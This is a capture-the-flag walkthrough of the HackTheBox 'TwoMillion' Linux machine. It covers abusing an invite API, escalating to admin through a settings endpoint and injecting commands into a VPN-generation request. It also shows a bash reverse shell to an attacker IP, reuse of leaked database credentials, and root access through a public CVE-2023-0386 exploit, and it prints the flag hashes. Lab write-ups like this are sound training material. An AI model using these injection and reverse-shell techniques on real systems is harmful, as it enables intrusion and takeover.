8 minutes
TwoMillion - HackTheBox Machine Writeup
Difficulty: Easy
Operating System: Linux
Recon and Enumeration
We will start this machine by doing a quick nmap, this will give an idea of what is running so that I can begin to tackle it.
nmap 2million.htb
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
After this, we can see 2 ports open:
- An SSH server running on port 22.
- A web server running on port 80.
Getting the Foothold
Let’s start by checking out the web server running on port 80:

We can see the site here, designed to be a throwback to the old UI.
Using this information, I go to /invite to request an invite code.
“Feel free to hack your way in :) “
If you look in the website source with developer tools, you can see the following:

For ease, please find it here:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))
So this is packed, I go to the following page to unpack it: https://matthewfl.com/unPacker.html

After this we have now discovered the makeInviteCode() function. Let’s call this in our Javascript console and see what we get back:

This looks promising, but it needs further analysis, so I begin by expanding it:

We can see the data itself, as well as the enctype, which we are told is ROT13. I decide the easiest way to look at this is via CyberChef.

Well, there is some instructions for us now. I will do exactly that:
$curl -X POST http://2million.htb:80/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"RTBaUVotM0FSTEgtMzdDN0otU1JISlY=","format":"encoded"}}
Here I just send a POST request with curl, invoking the -X flag, this is just shorthand for `--request. Looking at what we get back, we have a code to use: RTBaUVotM0FSTEgtMzdDN0otU1JISlY, but as we can see from the data, it is encoded.
While I had a suspicion that it was base64 encoded from how it looked, we can use CyberChef’s magic setting to uncover this:

And look at that, we have an invite code. Let’s create a user:

And fill it with some dummy information for this use case:

We now have access to the platform itself:

After a bit of exploration, I found that if we scroll down on the left hand menu, we can find the lab access page.

I downloaded the connection file that we saw, just like for when you connect to any lab on the platform:

If you look at the following output, you can see that it doesn’t work. I then decide to analyse this download request in Burp Suite and I can see that the download comes from: /api/v1/user/vpn/generate.
Rather than keep pressing download for every test, I can right click this and send it to the repeater.

I then tried a few things with the API, such as changing it from user to admin but got a 404, so I thought I would explore it further by just doing a GET to /api and seeing what we get back:

and if I just look at /api/v1, it gives me the following:
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 16 Feb 2026 21:44:16 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800
{"v1":{"user":{"GET":{"\/api\/v1":"Route List","\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation","\/api\/v1\/invite\/generate":"Generate invite code","\/api\/v1\/invite\/verify":"Verify invite code","\/api\/v1\/user\/auth":"Check if user is authenticated","\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration","\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration","\/api\/v1\/user\/vpn\/download":"Download OVPN file"},"POST":{"\/api\/v1\/user\/register":"Register a new user","\/api\/v1\/user\/login":"Login with existing user"}},"admin":{"GET":{"\/api\/v1\/admin\/auth":"Check if user is admin"},"POST":{"\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"},"PUT":{"\/api\/v1\/admin\/settings\/update":"Update user settings"}}}}
I decide to prettify this with an online tool and I can see the following now:
"admin": {
"GET": {
"\/api\/v1\/admin\/auth":"Check if user is admin"
}, "POST": {
"\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"
}, "PUT": {
"\/api\/v1\/admin\/settings\/update":"Update user settings"
}
There are a few things going on here, but we see three available API calls that can be utilised.
I try the request to /api/v1/admin/auth and I get the following back:”

So this has message: false, which must be telling us we are not the admin. So I then try the /admin/settings/update path to see what that returns:

Now while this is still unsuccessful, it returns a 200 status code, which means this was a successful web request. If we look at what it returns, it says that the message has an invalid content type:
"message":"Invalid content type."
The thought now is to actually provide a content type, so I add the following in to my web request:
Content-Type: application-json
Okay, now the error is a bit more informative:”
{"status":"danger","message":"Missing parameter: email"}
We are told that there is a missing email parameter, so if I specify this to see what I get instead:

Now that we have the email provided, a different message is relayed, stating that is_admin is missing. I wasn’t too sure what the format of this would be so I try sending a 1:

And after running this, we should now have admin access for our user:

Now if we forward our original request to the repeater again and try our auth path from before, but rather tnan make any assumptions, we can test this with the /api/v1/admin/auth call from before:

Now that we are admin, we can try the final API call that we were provided with:
/api/v1/admin/vpn/generate
If we query this API, we now get back the following:

We now get the admin .ovpn file download, but I remembered from before that this wasn’t the intended method, as running the file with openvpn did nothing. So I decide to analyse the web request that we got back:

These are bash commands that are being run, so there must be a way we can use this to run some commands to establish a foothold.
Using the format from before, as well as a ; to run our command and a # to comment out anything after the command (i.e. the commands we saw in ther response):

This time, we get www-data returned, this must be the user we need to get access to. Now if we know we have basic bash commands for the user, we need to get a session on the system to dig around. For a reverse shell, I tend to default to the following cheat sheet:
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Let’s try sending the folllowing bash payload:
bash -c 'bash -i >& /dev/tcp/10.10.15.57/54321 0>&1
and make sure to listen locally on our machine:
nc -lnvp 54321
We can use ip -c a to get our VPN IP, remember we want the tun0 IP as we are on the HackTheBox VPN. I send the request and if we go back ton the listening netcat session:

Getting the User Flag
We have a foothold, but www-data is a very low privelege user, so I need to find credentials for a different user. A simple ls shows the following files:

Credentials would tend to be stored in a .env file, while they may not be what we want, it is worth noting them down as password reuse could be occuring.
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
I decide it is worth trying them credentials anyway, so I try a su command for the admin user:

We have access, and we can now cat the user.txt file, providing us with the following hash: e991f292403a56d3cf9ce50b00723803
Getting the Root Flag
The first thing I check on any privesc is what sudo capabilities I have with sudo -l, to which unfortunately we have none:

I then did quite a bit of exploration around common places where I have a chance of finding anything, remembering the email parameter from before as well as what I got for logging in to the admin user, I check /var/mail and I find the following mail:
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
Immediately, it tells us about a vulnerability that we can exploit, so I search this online:

And this looks to be the following CVE: https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/
We know that any kernel version lower than 6.2 is vulnerable, so I find that the version of the kernel being used here is: 5.15.70-051570-generic, so it is vulnerable.
Given that this is a CVE, I explore GitLab for an exploit and come across the following repo: https://github.com/puckiestyle/CVE-2023-0386
I decide to download it as a .zip, as we know the target has no git connectivity to pull repos like this, I use the following scp command to get the file across to the target:
scp CVE-2023-0386-main.zip admin@2million.htb:/tmp/
We now have it on the target system, so I can unzip the folder with unzip. When I complie it, it does have a few compiler warnings but it does compile successfully, I run the files as described in the README.md and I end up as root:

Now all there is left to do is cat root/root.txt and I get the following flag: 05ed20839b79996c7ba8ecca8f5cfcb1
18/02/2026